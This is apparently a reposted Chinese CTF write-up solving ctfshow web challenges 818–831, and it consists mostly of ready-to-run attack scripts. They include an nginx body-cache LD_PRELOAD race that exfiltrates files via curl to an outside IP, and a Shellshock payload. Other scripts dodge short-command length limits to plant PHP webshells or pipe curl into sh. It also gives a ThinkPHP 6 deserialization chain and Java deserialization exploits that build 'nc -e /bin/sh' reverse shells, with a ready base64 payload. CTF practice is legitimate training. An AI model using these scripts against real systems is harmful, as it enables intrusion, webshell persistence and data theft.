默认php的执行用户名为www-data

脚本：

  1. import threading
  2. import socket
  3. import re
  4. port= 28121
  5. s=socket.socket()
  6. s.connect(('pwn.challenge.ctf.show',port))
  7. s.send(f'''GET / HTTP/1.1
  8. Host:127.0.0.1
  10. 	'''.encode())
  11. data=s.recv(1024).decode()
  12. s.close()
  13. pid = re.findall('(.*?) www-data',data)[0].strip()
  14. print(pid)
  15.  
  16. con="curl http://124.222.136.33:1337?`cat /f*`;"+'0'*1024*500
  17. l = len(con)
  18. def upload():
  19. 	while True:
  20. 		s=socket.socket()
  21. 		s.connect(('pwn.challenge.ctf.show',port))
  22. 		x=f'''POST / HTTP/1.1
  23. Host: 127.0.0.1
  24. Content-Length: {l}
  25. Content-Type: application/x-www-form-urlencoded
  26. Connection: close
  28. {con}
  30. 		'''.encode()
  31. 		s.send(x)
  32. 		s.close()
  33.  
  34. def bruter():
  35. 	while True:
  36. 		for fd in range(3,40):
  37. 			print(fd)
  38. 			s=socket.socket()
  39. 			s.connect(('pwn.challenge.ctf.show',port))
  40. 			s.send(f'''GET /?file=/proc/{pid}/fd/{fd} HTTP/1.1
  41. Host: 127.0.0.1
  42. Connection: close
  44. '''.encode())
  45. 			print(s.recv(2048).decode())
  46. 			s.close()
  47.  
  48.  
  49. for i in range(30):
  50.     t = threading.Thread(target=upload)
  51.     t.start()
  52. for j in range(30):
  53.     a = threading.Thread(target=bruter)
  54.     a.start()

监听，外带

web818

题目代码

  1.  
  2. $env = $_GET['env'];
  3. if(isset($env)){
  4. 	putenv($env);
  5. 	system("echo ctfshow");
  6. }else{
  7. 	system("ps aux");
  8. }
  9. ···

这题考的是利用nginx的body缓存配合LD_PRELOAD实现恶意so文件的代码执行，用的还是web815的so文件

脚本

  1. import  threading
  2. import socket
  3. import re
  4. port= 28151
  5. s=socket.socket()
  6. s.connect(('pwn.challenge.ctf.show',port))
  7. s.send(f'''GET / HTTP/1.1
  8. Host:127.0.0.1
  10. 	'''.encode())
  11. data=s.recv(1024).decode()
  12. s.close()
  13. pid = re.findall('(.*?) www-data',data)[0].strip()
  14. print(pid)
  15. l=str(len(open('exp.so','rb').read()+b'\n'*1024*200)).encode()
  16. def upload():
  17. 	while True:
  18. 		s=socket.socket()
  19. 		s.connect(('pwn.challenge.ctf.show',port))
  20. 		x=b'''POST / HTTP/1.1
  21. Host: 127.0.0.1
  22. User-Agent: yu22x
  23. Content-Length: '''+l+b'''
  24. Content-Type: application/x-www-form-urlencoded
  25. Connection: close
  27. '''+open('exp.so','rb').read()+b'\n'*1024*200+b'''
  29. '''
  30. 		s.send(x)
  31. 		s.close()
  32.  
  33. def bruter():
  34. 	while True:
  35. 		for fd in range(3,40):
  36. 			print(fd)
  37. 			s=socket.socket()
  38. 			s.connect(('pwn.challenge.ctf.show',port))
  39. 			s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
  40. Host: 127.0.0.1
  41. User-Agent: yu22x
  42. Connection: close
  44. '''.encode())
  45. 			print(s.recv(2048).decode())
  46. 			s.close()
  47.  
  48.  
  49. for i in range(30):
  50.     t = threading.Thread(target=upload)
  51.     t.start()
  52. for j in range(30):
  53.     a = threading.Thread(target=bruter)
  54.     a.start()

监听，外带

web819

破壳漏洞介绍:
想办法bash的匿名函数环境变量
bash在设计上可以通过环境变量来初始化一个匿名函数，并给其命名，函数体必须(){开头，函数名BASH_FUNC_开头，并以%%结尾
我们只需要控制生成一个能够还原为函数的环境变量格式，就能在system底层调用bash后，通过环境变量注册一个函数。即我们可以控制任意函数(覆写)，只要有调用这个函数的地方，就可以任意代码执行

但靶机sh环境必须要是bash才能利用，如ubuntu的dsh，alpine的ash均不能用这种姿势

payload:

?env=BASH_FUNC_whoami%%=() { cat /f*;}

web820

这题，无图言屌，懂的都懂

web821

7字符可写(web目录可写)

参考文章：

https://blog.51cto.com/u_15080020/4328045

脚本

  1. import requests
  2. import time
  3.  
  4. url = "http://ff2d125b-85e0-4c9a-a5bb-ac6ff03890f5.challenge.ctf.show/"
  5.  
  6. payload = [
  7.     ">hp",
  8.     ">1.p\\",
  9.     ">d\\>\\",
  10.     ">\\ -\\",
  11.     ">e64\\",
  12.     ">bas\\",
  13.     ">7\\|\\",
  14.     ">XSk\\",
  15.     ">Fsx\\",
  16.     ">dFV\\",
  17.     ">kX0\\",
  18.     ">bCg\\",
  19.     ">XZh\\",
  20.     ">AgZ\\",
  21.     ">waH\\",
  22.     ">PD9\\",
  23.     ">o\\ \\",
  24.     ">ech\\",
  25.     "ls -t>0",
  26.     ". 0"
  27. ]
  28.  
  29.  
  30. def writeFile(payload):
  31.     data = {
  32.         "cmd": payload
  33.     }
  34.     requests.post(url, data=data)
  35.  
  36.  
  37. def run():
  38.     for p in payload:
  39.         writeFile(p.strip())
  40.         print("[*] create " + p.strip())
  41.         time.sleep(1)
  42.  
  43.  
  44. def check():
  45.     response = requests.get(url + "1.php")
  46.     if response.status_code == requests.codes.ok:
  47.         print("[*] Attack success!!!Webshell is " + url + "1.php")
  48.  
  49.  
  50. def main():
  51.     run()
  52.     check()
  53.  
  54.  
  55. if __name__ == '__main__':
  56.     main()

用/1.php?1=eval($_POST[1]);转接post连蚁剑(最好用linux的)

连接成功后右键数据操作，弱口令root连数据库

随便翻一翻找到flag

web822

7字符不可写(web目录不可写)

怎么缩也不可能7字以内外带的吧，只能思考是不是执行临时文件之类的

脚本：

  1. import requests
  2. url="http://b5c4ec71-c6bd-4e47-97a9-404d5de7cc69.challenge.ctf.show/"
  3. file={'file':'nc  124.222.136.33 1337 -e /bin/sh'}
  4. r= requests.post(url,files=file,data={'cmd':'. /t*/*'})

这里主要是用.+文件名执行命令支持通配符，可以大大缩短长度

web823

5字符可写，有dir命令

思路就是：

将index.php变成.php
将临时文件打包到当前目录
使用php执行tar压缩包(虽然前面有tar的字节，但是php代码的明文保存了下来，方便php直接执行)

脚本:

  1. import requests
  2. import time
  3.  
  4. url = "http://6c59c312-ca0d-488a-9e79-b26653603274.challenge.ctf.show/"
  5. url_2 = url+".php"
  6. delay = 1
  7.  
  8. chagneFile_payload=[
  9. '>cp',
  10. '>k',
  11. '*',
  12. 'rm cp',
  13. '>pc',
  14. '>dir',
  15. '*>v',
  16. '>rev',
  17. '*v>z',
  18. 'rm v',
  19. 'rm k',
  20. 'rm z',
  21. 'rm pc',
  22. 'rm *v',
  23. '>php.',
  24. '>j\\#',
  25. '>vm',
  26. '*>v',
  27. '>rev',
  28. '*v>z',
  29. 'sh z'
  30. ]
  31.  
  32. clearFile_payload=[
  33. 'rm d*',
  34. 'rm j*',
  35. 'rm p*',
  36. 'rm r*',
  37. 'rm v*',
  38. 'rm z'
  39. ]
  40.  
  41. shell_payload=[
  42. '>tar',
  43. '>vcf',
  44. '>z'
  45. ]
  46.  
  47. file={
  48.     'file':b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>'
  49. }
  50.  
  51.  
  52. def changeFile():
  53.     for p in chagneFile_payload:
  54.         sendPayload(url,p)
  55.         print("[*] create "+p.strip())
  56.         time.sleep(delay)
  57.  
  58. def clearFile():
  59.     for p in clearFile_payload:
  60.         sendPayload(url_2,p)
  61.         print("[*] create "+p.strip())
  62.         time.sleep(delay)
  63.  
  64. def getshell():
  65.     for p in shell_payload:
  66.         sendPayload(url_2,p)
  67.         print("[*] create "+p.strip())
  68.         time.sleep(delay)
  69.     data={
  70.         "cmd":"* /t*"
  71.     }
  72.     requests.post(url_2,data=data,files=file)
  73.     data={
  74.         "cmd":"php z"
  75.     }
  76.     requests.post(url_2,data=data)
  77.  
  78. def checkShell():
  79.     response = requests.get(url+"1.php")
  80.     if response.status_code == requests.codes.ok:
  81.         print("[*] Attack success!!!Webshell is "+url+"1.php")
  82.  
  83. def sendPayload(url,payload):
  84.     data={
  85.     "cmd":payload
  86.     }
  87.     requests.post(url,data=data)
  88.  
  89.  
  90.  
  91. def run():
  92.     changeFile()
  93.     clearFile()
  94.     getshell()
  95.     checkShell()
  96.  
  97. def main():
  98.     run()
  99.  
  100. if __name__ == '__main__':
  101.     main()

web824

5字符可写无dir命令

匹配了所有带h的行，将其重新写到index.php中，有点对敌特攻的意思(

脚本：

  1. import requests
  2. import time
  3.  
  4. url = "http://b024a2bc-8ec6-4e70-bbee-13cb62f358e4.challenge.ctf.show/"
  5.  
  6. payload=[
  7. ">grep",
  8. ">h",
  9. "*>j",
  10. "rm g*",
  11. "rm h*",
  12. ">cat",
  13. "*>>i",
  14. "rm c*",
  15. "rm j",
  16. ">cp",
  17. "*"
  18. ]
  19.  
  20. def writeFile(payload):
  21.     data={
  22.     "cmd":payload
  23.     }
  24.     requests.post(url,data=data)
  25.  
  26. def run():
  27.     for p in payload:
  28.         writeFile(p.strip())
  29.         print("[*] create "+p.strip())
  30.         time.sleep(0.5)
  31.     print("[*] Attack success!!!Webshell is "+url)
  32.  
  33. def main():
  34.     run()
  35.  
  36. if __name__ == '__main__':
  37.     main()

执行后是这种效果，可以绕过长度限制为所欲为了

web825

4字符，可写，有dir


linux中dir和ls的区别：都是将当前目录的文件和文件夹按照顺序列出在同一行，但是ls经过管道或重定向后，结果是换行的，而dir经过管道或重定向后，见过是不换行的。
如果用ls拼接命令，在保证顺序的基础上，需要在每行后面加一个\来拼接下一行的命令
用dir命令就不需要\来拼接，只要保证顺序正确就行

只打一个*执行命令的原理：举个例子，当文件夹下面有ls m n o p q文件时，只执行一个*就等效于执行ls m n o p q这个命令，把第一个作为命令，后面的作为参数。再有，如果一个目录下有rev v两个文件，执行一个*v就相当于执行rev v，将v文件的内容逆序输出

脚本：

  1. import requests
  2. import time
  3.  
  4. url = "http://999c346d-7b65-48e1-9db5-593b36c0a736.challenge.ctf.show/"
  5.  
  6. payload = [
  7. '>sl',
  8. '>kt-',
  9. '>j\\>',
  10. '>j\\#',
  11. '>dir',
  12. '*>v',
  13. '>rev',
  14. '*v>x',
  15. '>php',
  16. '>a.\\',
  17. '>\\>\\',
  18. '>-d\\',
  19. '>\\ \\',
  20. '>64\\',
  21. '>se\\',
  22. '>ba\\',
  23. '>\\|\\',
  24. '>4=\\',
  25. '>Pz\\',
  26. '>k7\\',
  27. '>XS\\',
  28. '>sx\\',
  29. '>VF\\',
  30. '>dF\\',
  31. '>X0\\',
  32. '>gk\\',
  33. '>bC\\',
  34. '>Zh\\',
  35. '>ZX\\',
  36. '>Ag\\',
  37. '>aH\\',
  38. '>9w\\',
  39. '>PD\\',
  40. '>S}\\',
  41. '>IF\\',
  42. '>{\\',
  43. '>\\$\\',
  44. '>ho\\',
  45. '>ec\\',
  46. 'sh x',
  47. 'sh j'
  48. ]
  49.  
  50. def writeFile(payload):
  51.     data={
  52.     "cmd":payload
  53.     }
  54.     requests.post(url,data=data)
  55.  
  56. def run():
  57.     for p in payload:
  58.         writeFile(p.strip())
  59.         print("[*] create "+p.strip())
  60.         time.sleep(0.3)
  61.  
  62. def check():
  63.     response = requests.get(url+"a.php")
  64.     if response.status_code == requests.codes.ok:
  65.         print("[*] Attack success!!!Webshell is "+url+"a.php")
  66.  
  67. def main():
  68.     run()
  69.     check()
  70.  
  71. if __name__ == '__main__':
  72.     main()

x文件内容

ls    -tk  >j  #j  php.xedni

j内容就是一个base64的逆序

成功写shell，/a.php?1=eval($_POST[1]);继续post转接，蚁剑连shell看数据库

web826

4字符，可写，无dir，可出网

 http://2030350346已经寄了，这个得自己搭一个恶意代码的服务器

建议用web827的脚本来打，通用性更强(

  1. import requests
  2. import time
  3.  
  4. url = "http://b6902616-877f-4ea3-8033-a562c3891238.challenge.ctf.show/"
  5.  
  6. payload = [
  7. '>\\ \\',
  8. '>-t\\',
  9. '>\\>a',
  10. '>ls\\',
  11. 'ls>v',
  12. '>mv',
  13. '>vt',
  14. '*v*',
  15. '>ls',
  16. 'l*>t',
  17. '>cat',
  18. '*t>z',
  19.  
  20. #curl 2030350346|sh
  21. #echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
  22. '>sh',
  23. '>\\|\\',
  24. '>46\\',
  25. '>03\\',
  26. '>35\\',
  27. '>30\\',
  28. '>20\\',
  29. '>\\ \\',
  30. '>rl\\',
  31. '>cu\\',
  32.  
  33. 'sh z',
  34. 'sh a',
  35. ]
  36. def writeFile(payload):
  37.     data={
  38.     "cmd":payload
  39.     }
  40.     requests.post(url,data=data)
  41.  
  42. def run():
  43.     for p in payload:
  44.         writeFile(p.strip())
  45.         print("[*] create "+p.strip())
  46.         time.sleep(1)
  47.  
  48. def check():
  49.     response = requests.get(url+"1.php")
  50.     if response.status_code == requests.codes.ok:
  51.         print("[*] Attack success!!!Webshell is "+url+"1.php")
  52.  
  53. def main():
  54.     run()
  55.     check()
  56.  
  57. if __name__ == '__main__':
  58.     main()

web827

4字符，可写、无dir，不出网

最少可以在4字符无dir的环境下拼接ls -t
当空格不够用时可以用$IFS，但是要注意命令部分不能有重复的字符组合
getshell的方式有很多种，需要根据环境来选择，如wget,curl,强制文件上传，无外网情况下getshell

脚本：

  1. import requests
  2. import time
  3.  
  4. url = "http://9664b651-d71a-423a-94c4-6389e13273fb.challenge.ctf.show/"
  5.  
  6. payload = [
  7. '>\\ \\',
  8. '>-t\\',
  9. '>\\>a',
  10. '>ls\\',
  11. 'ls>v',
  12. '>mv',
  13. '>vt',
  14. '*v*',
  15. '>ls',
  16. 'l*>t',
  17. '>cat',
  18. '*t>z',
  19.  
  20. '>php',
  21. '>a.\\',
  22. '>\\>\\',
  23. '>-d\\',
  24. '>\\ \\',
  25. '>64\\',
  26. '>se\\',
  27. '>ba\\',
  28. '>\\|\\',
  29. '>4=\\',
  30. '>Pz\\',
  31. '>k7\\',
  32. '>XS\\',
  33. '>sx\\',
  34. '>VF\\',
  35. '>dF\\',
  36. '>X0\\',
  37. '>gk\\',
  38. '>bC\\',
  39. '>Zh\\',
  40. '>ZX\\',
  41. '>Ag\\',
  42. '>aH\\',
  43. '>9w\\',
  44. '>PD\\',
  45. '>S}\\',
  46. '>IF\\',
  47. '>{\\',
  48. '>\\$\\',
  49. '>ho\\',
  50. '>ec\\',
  51.  
  52.  
  53. 'sh z',
  54. 'sh a'
  55. ]
  56.  
  57. def writeFile(payload):
  58.     data={
  59.     "cmd":payload
  60.     }
  61.     requests.post(url,data=data)
  62.  
  63. def run():
  64.     for p in payload:
  65.         writeFile(p.strip())
  66.         print("[*] create "+p.strip())
  67.         time.sleep(1)
  68.  
  69. def check():
  70.     response = requests.get(url+"a.php")
  71.     if response.status_code == requests.codes.ok:
  72.         print("[*] Attack success!!!Webshell is "+url+"a.php")
  73.  
  74. def main():
  75.     run()
  76.     check()
  77.  
  78. if __name__ == '__main__':
  79.     main()

web828

国赛TP6的反序列化

 ThinkPHP V6.0.12LTS，顺着版本号嘎嘎找

ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

题目源码拿到反序列化入口

 构造exp:

  1. <?php
  2. namespace think{
  3.     abstract class Model{
  4.         private $lazySave = false;
  5.         private $data = [];
  6.         private $exists = false;
  7.         protected $table;
  8.         private $withAttr = [];
  9.         protected $json = [];
  10.         protected $jsonAssoc = false;
  11.         function __construct($obj = ''){
  12.             $this->lazySave = True;
  13.             $this->data = ['whoami' => ['cat /f*']];
  14.             $this->exists = True;
  15.             $this->table = $obj;
  16.             $this->withAttr = ['whoami' => ['system']];
  17.             $this->json = ['whoami',['whoami']];
  18.             $this->jsonAssoc = True;
  19.         }
  20.     }
  21. }
  22. namespace think\model{
  23.     use think\Model;
  24.     class Pivot extends Model{
  25.     }
  26. }
  27.  
  28. namespace{
  29.     echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
  30. }

 bp发包

web829

题目附件：

  1. package com.ctfshow.controller;
  2.  
  3. @Controller
  4. @RequestMapping("/")
  5. public class IndexController {
  6.  
  7.     @RequestMapping(value = "/",method = RequestMethod.POST)
  8.     @ResponseBody
  9.     public String index(HttpServletRequest request){
  10.         User user=null;
  11.         try {
  12.             byte[] userData = Base64.getDecoder().decode(request.getParameter("userData"));
  13.             ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(userData));
  14.             user = (User) objectInputStream.readObject();
  15.         }catch (Exception e){
  16.             return "base64 decode error";
  17.         }
  18.  
  19.         return "unserialize done, you username is "+user.getName();
  20.     }
  21.  
  22.     @RequestMapping(value = "/",method = RequestMethod.GET)
  23.     @ResponseBody
  24.     public String index(){
  25.         return "plz post parameter 'userData'  to unserialize";
  26.     }
  27. }
  28.  
  29.  
  30. package com.ctfshow.entity;
  31.  
  32. public class User implements Serializable {
  33.  
  34.     private static final long serialVersionUID = -3254536114659397781L;
  35.     private String username;
  36.  
  37.     public User(String username) {
  38.         this.username = username;
  39.     }
  40.  
  41.     public String getName(){
  42.         return this.username;
  43.     }
  44.  
  45.     private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
  46.         in.defaultReadObject();
  47.         Runtime.getRuntime().exec(this.username);
  48.     }
  49. }

User的readObject方法直接命令执行了

这不是白送

exp类

  1. package com.ctfshow.entity;
  2.  
  3. import java.io.ByteArrayOutputStream;
  4. import java.io.IOException;
  5. import java.io.ObjectOutput;
  6. import java.io.ObjectOutputStream;
  7. import java.util.Base64;
  8.  
  9. public class exp {
  10.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
  11.         User user = new User("nc 124.222.136.33 1337 -e /bin/sh");
  12.         serialize(user);
  13.     }
  14.     public static void serialize(Object obj) throws IOException, IOException {
  15.         ByteArrayOutputStream data =new ByteArrayOutputStream();
  16.         ObjectOutput oos =new ObjectOutputStream(data);
  17.         oos.writeObject(obj);
  18.         oos.flush();
  19.         oos.close();
  20.         System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
  21.     };
  22.  
  23. }

User类

  1. package com.ctfshow.entity;
  2.  
  3. import java.io.IOException;
  4. import java.io.ObjectInputStream;
  5. import java.io.Serializable;
  6.  
  7. public class User implements Serializable {
  8.  
  9.     private static final long serialVersionUID = -3254536114659397781L;
  10.     private String username;
  11.  
  12.     public User(String username) {
  13.         this.username = username;
  14.     }
  15.  
  16.     public String getName(){
  17.         return this.username;
  18.     }
  19.  
  20.     private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
  21.         in.defaultReadObject();
  22.         Runtime.getRuntime().exec(this.username);
  23.     }
  24. }

payload:

userData=rO0ABXNyABdjb20uY3Rmc2hvdy5lbnRpdHkuVXNlctLVkKWhC+9rAgABTAAIdXNlcm5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAIW5jIDEyNC4yMjIuMTM2LjMzIDEzMzcgLWUgL2Jpbi9zaA==

监听，反弹shell

web830

这次恶意readObject方法在父类

构造exp：

  1. package com.ctfshow.entity;
  2.  
  3. import java.io.ByteArrayOutputStream;
  4. import java.io.IOException;
  5. import java.io.ObjectOutput;
  6. import java.io.ObjectOutputStream;
  7. import java.util.Base64;
  8.  
  9. public class exp {
  10.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
  11.         User user = new User("Z3r4y");
  12.         user.secret="nc 124.222.136.33 1337 -e /bin/sh";
  13.         serialize(user);
  14.     }
  15.     public static void serialize(Object obj) throws IOException, IOException {
  16.         ByteArrayOutputStream data =new ByteArrayOutputStream();
  17.         ObjectOutput oos =new ObjectOutputStream(data);
  18.         oos.writeObject(obj);
  19.         oos.flush();
  20.         oos.close();
  21.         System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
  22.     };
  23.  
  24. }

监听，反弹shell

web831

题目把User类ban了，问题不大，我们直接反序列化BaseUser类

利用readObject方法来实现代码执行是在生成完整对象前利用，即对象生成后不再使用，只是借用生成对象时调用readObject方法来达成命令执行的效果

如果父类存在可利用的readObject方法，那么既可以反序列化子类，也可以反序列化父类，都可以调用父类的readObject方法，即使报错类型转换异常，因为readObject方法已经被调用，我们的目的也已达到。

  1. package com.ctfshow.entity;
  2.  
  3. import java.io.ByteArrayOutputStream;
  4. import java.io.IOException;
  5. import java.io.ObjectOutput;
  6. import java.io.ObjectOutputStream;
  7. import java.util.Base64;
  8.  
  9. public class exp {
  10.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
  11.         BaseUser baseUser = new BaseUser();
  12.         baseUser.secret="nc 124.222.136.33 1337 -e /bin/sh";
  13.         serialize(baseUser);
  14.     }
  15.     public static void serialize(Object obj) throws IOException, IOException {
  16.         ByteArrayOutputStream data =new ByteArrayOutputStream();
  17.         ObjectOutput oos =new ObjectOutputStream(data);
  18.         oos.writeObject(obj);
  19.         oos.flush();
  20.         oos.close();
  21.         System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
  22.     };
  23.  
  24. }

监听，反弹shell

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/497723?site
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号